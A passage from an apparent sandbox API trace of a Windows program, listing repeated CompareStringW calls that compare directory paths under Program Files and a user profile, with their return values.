(x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount2=58) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount2=56) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount2=56) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount2=56) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\", cchCount1=52, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount2=56) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount2=64) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount2=64) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount2=64) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount2=64) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount1=39, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount2=76) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount2=76) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount2=76) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount2=76) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount2=56) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount2=56) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount1=56, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount2=56) returned 2 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=78) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=78) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=78) returned 3 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=78) returned 2 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\", cchCount2=44) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\", cchCount2=44) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\", cchCount2=44) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount1=39, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\", cchCount2=44) returned 1 [0038.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=65, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\", cchCount2=44) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount2=64) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount2=64) returned 2 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount1=39, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount1=39, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount1=39, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount1=39, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 2 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount2=64) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount2=64) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount2=64) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount2=64) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual 